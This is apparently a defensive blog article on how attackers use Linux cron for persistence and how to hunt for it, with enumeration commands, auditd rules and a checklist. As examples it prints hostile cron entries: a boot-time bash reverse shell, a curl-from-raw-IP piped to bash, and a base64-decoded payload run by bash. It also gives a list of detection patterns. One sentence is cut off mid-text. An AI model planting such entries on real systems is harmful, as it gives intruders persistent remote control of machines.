Cron persistence: how attackers use it and how to hunt it
When an attacker gets execution on a Linux box, their next goal is to survive a reboot. And few places are as comfortable to hide in as cron: it's legit, it's everywhere, it runs on its own and almost nobody audits it. One well-placed line hands the shell back every minute —or on every boot— without touching the system again.
Why cron is a nest for persistence
Cron isn't one thing: it's many places, and that's the trick for the attacker. If you only check your user's crontab -l, you miss almost everything:
/etc/crontab # system cron
/etc/cron.d/* # fragments (packages… and attackers)
/etc/cron.{hourly,daily,weekly,monthly}/ # loose scripts
/var/spool/cron/crontabs/* # per-user crontab (Debian/Ubuntu)
/var/spool/cron/* # same (RHEL/CentOS)
And then there's @reboot, which runs at startup: perfect to regain access after a reboot without depending on a schedule.
How they use it (so you know what to look for)
The classics, from noisiest to subtlest:
# reverse shell on every boot
@reboot /bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
# download and run every minute (textbook malware pattern)
* * * * * curl -s http://185.x.x.x/a | bash
# Base64-obfuscated to dodge a quick read
* * * * * echo YmFzaCAtaS...==| base64 -d | bash
The hunt: enumerate EVERY cron
First, dump everything scheduled on the system, not just your user:
# each system user's crontab
for u in $(cut -f1 -d: /etc/passwd); do echo "== $u =="; crontab -l -u "$u" 2>/dev/null; done
# the system spots, at a glance
cat /etc/crontab; ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/
grep -R . /etc/cron.d/ 2>/dev/null
Over that dump, look for the tell-tale patterns: curl|wget … | sh, base64 -d, /dev/tcp/, nc -e, execution from /tmp or /dev/shm, chmod 777/+s, and downloads against a raw IP instead of a domain.
curl|sh, Base64, temp paths, rm -rf…) with a severity level. All in your browser, nothing is sent.And watch for changes
Enumerating is a snapshot; what you want is an alarm when someone touches cron. With auditd:
auditctl -w /etc/crontab -p wa -k cron_mod
auditctl -w /etc/cron.d/ -p wa -k cron_mod
auditctl -w /var/spool/cron/ -p wa -k cron_mod
ausearch -k cron_mod
In the EDR/SIEM, two golden signals: cron file modification outside a package install, and suspicious child processes of cron/crond (an interactive shell, curl, base64 or an interpreter hanging off cron at odd hours).
Checklist
- ✅ Enumerate all six spots, not just
crontab -l - ✅ Check
@rebootand service-user crontabs (www-data, etc.) - ✅ Hunt for
curl|sh,base64 -d,/dev/tcp,nc -e,/tmp, raw IPs - ✅
auditdwatching the cron files + alert on odd cron children - ✅ When in doubt, run it through the Cron Analyzer
Cron is as handy for operating as it is for persisting. The difference between a sysadmin and an attacker in your crontab is often two lines — and knowing how to read them in time.